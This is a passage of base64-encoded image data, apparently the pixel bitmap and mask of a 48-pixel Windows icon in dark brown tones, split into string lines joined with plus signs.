If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + 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 + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv85KSL/OCgh/zgoIf84KCH/Nycg/zQkHf8yIhv/OCgh/z8vKP9PPzj/YlJL/3NjXf99bWX/koN8/+jk + 4v/////////+/9LNyv9IODX/MiEb/009Nv9dTUb/Tj43/zwsJf8zIxz/MiIb/zYmH/80JB3/NCQd/zco + IP84KCH/OSki/zkpIf85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/OCgh/zcnIP82Jh//MyMc/zAg + Gf8wIBj/KhoY/7Copf/8+/v/+vn5/6GXk/8uHRX/OSoj/zQkHf81JR7/NiYf/zcnIP84KCH/OCgh/zEh + G/9WRj//VUU+/zEhGv84KCH/OSki/zkpIv85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zMjHP8xIBn/Oioj/zkp + Iv84KCH/OCgh/zgnIP85KSL/LBsU/5GHgv/39vb/9PLx/4N3cv8tHBX/OCgh/zcnIP84KCH/OCgh/zkp + Iv85KSL/NSUe/ycWEP+hl5P/oJWS/ygXEv82Jh//OSki/zkpIv85KSL/OSki/zMjHP8+LifjbV1WZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/0o6 + M/9TQz3/NSUe/zgoIf84KCH/OCgh/zgoIf84KCH/Lx4X/3NmYP/v7ez/6Obl/2FTTv8xIRr/OCgh/zgo + If84KCH/OSki/zkpIf85KSL/Lx8X/1xMSP/g3Nv/4Nzb/1pLR/8vHxn/Oioj/zkpIf85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQjt/Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/MyUg/5iPjP/Bubb/Jxwa/zYlH/84KCH/OSki/zkpIv84KCH/MSEa/1JCPP/g3Nr/2NPR/0o5 + M/80Ixz/OSki/zkpIv85KSH/OSki/zkpIv8xIRr/VkU//9jU0f/+/v7//v7+/9fSz/9WR0D/MSEa/zkp + Iv85KSH/OSki/zMjHP8+LifjbV1WZ////wH///8B////Af///wFSQjuBOysk8zUlHf84KCH/OSki/zkp + Iv85KSL/OSki/zYmH/84KCD/raOe/+Dc2f/s6ej/rKOg/1JDPf8yIhv/OCki/zgpIf85KSL/MyMc/0Q0 + LP/Tz83/ysTC/zoqI/80JB3/OCgh/zkpIv85KSL/MiIb/zUlHf82Jh//PCsl/5GGgv/w7u3/8O7t/5CF + gv88LCX/Nycg/zkpIv85KSL/OSki/zMjHP89LSblbFxVaf///wH///8B////Af///wFgUElbPCwl3TMj + HP84KCH/OSki/zgoIf84KCH/OSki/zcnIP84KCH/fG9p/8O7uP/b2NX/d2tm/0c4Mf81JB3/OSgi/zkp + Iv85KSL/NCQd/zcmH//HwsD/u7Ov/zMhGv82Jh//OSki/zkpIv8zIhv/Rzcv/z4uJv80Ixz/NCQd/zQj + Hf/AuLX/wLm1/zQjHf8zJB3/OSki/zkpIf85KSH/OCgh/zEhGv8/LyjTeGhhTf///wH///8B////Af// + /wGHd28LUEA5ZTMjHN02Jh/9OCgh/zgoIf84KCH/OCki/zkpIv84KCH/KxoU/3ptaP+dlZD/IRAL/zUk + Hf85KSL/OSki/zkpIv85KSL/NiYf/zEfGP+7sq7/oZiU/y4dFf83JyD/OSki/y4eF/9iU03/9fLx/9HM + yf9MPDX/MiIb/y4eF/9qWlP/aFhR/y0dFv85KSL/OSki/zkpIv83JyD/NSUe+zQkHddaSkNdo5OMB/// + /wH///8B////Af///wH///8BXk5HC0w8NU8/LyirNycg8TUlHv83JyD/OSgh/zkpIv84KCH/Nygh/zsr + JP89LSb/OCgh/zgoIf84KCH/OSki/zkpIv84KCH/Nycg/y0cFf+poJz/joSB/yoZEv85KSL/OSki/ywc + Fv9tX1v/8vHw/9nU0v9URT7/MCAZ/zgoIf84KCH/OCgh/zcnIP84KCH/OCgh/zQkHf82Jh/xQDAppUMz + LEVYSEEJ////Af///wH///8B////Af///wH///8B////AWVVTgVTQzwZRjYvcT8vKNM2Jh/7Nycg/zgo + If84KCH/OCgh/zcnIP82Jh//OSki/zgoIf84KCH/OSki/zkpIv84KCH/OCgh/ysZEv+Rh4P/hHhy/yoZ + Ev85KSL/OSki/zcnIP85KSH/eGtm/2RXUf83JyD/OSki/zkpIv83JyD/Nycg/zgoIf83JyD/NSUe+0Ex + Ks1LOzRpXk5HF19PSAP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVBA + OR1HNzBxNiYf2TQkHfk2Jh//OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/ywc + Ff97bGb/c2Rd/y4dFv84KCH/OSki/zkpIv84KCH/KBgQ/y0dFf85KSH/OSki/zkpIv85KSL/Nycg/zQk + Hfk1JR7XUEA5aV5ORxn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzcDUEA5Q0AwKZk3JyDnNSUe/zgoIf85KSL/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OCgh/y8fGP9tXFX/Y1NM/zAgGf84KCH/OSki/zkpIv84KCH/OCki/zkpIv85KSL/OSki/zgo + If80JB3/OCgh4UExKpVURD09Xk5IA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BaFlSA1JCOxNXR0BPPS0myzUlHv02Jh//OCgh/zgo + If84KCH/OSki/zkpIv85KSL/OSki/zQkHf9WRj//Tj43/zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zcn + IP84KCH/Nycg/zUlHv1ENC3HRzcwRVZGPxN4aGED////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84EUQ0 + LWM9LSbHNCQd9zcnIP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIP84KCH/OSki/zko + Iv84KCH/Nycg/zcnIP82Jh/3OiojwUQ1Ll9ZSUIP////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVlJQgNtXVYrNycgjzYmH901JR77OCgh/zkpIv85KSL/OCgh/zkpIv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv83JyD/NCQd+zcnINdENC2LWUlCJf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BRTUuD0o6M0VCMiupNCQd+TQkHf84KCH/OCgh/zcn + IP84KCH/OCgh/zgoIf84KCH/OSki/zIiG/81JR73SDgxoT8vKT1TQzwP////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFdTUYFPy8oUT0t + JrU0JB3vNCQd/zcnIP84KCH/OCgh/zgoIf82Jh//NCQd7T4uJ7FHNzBNeWliA////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BXk1HA2hYUR8+LidtOSki0zQkHfs3JyD/Nycg/zUlHvs1JR7NPy8oaXNjXB1uXlYD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFVRT4HVEQ9NUExKpU2Jh/ZNycg2Uc3MJFIODExSDcxB/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + 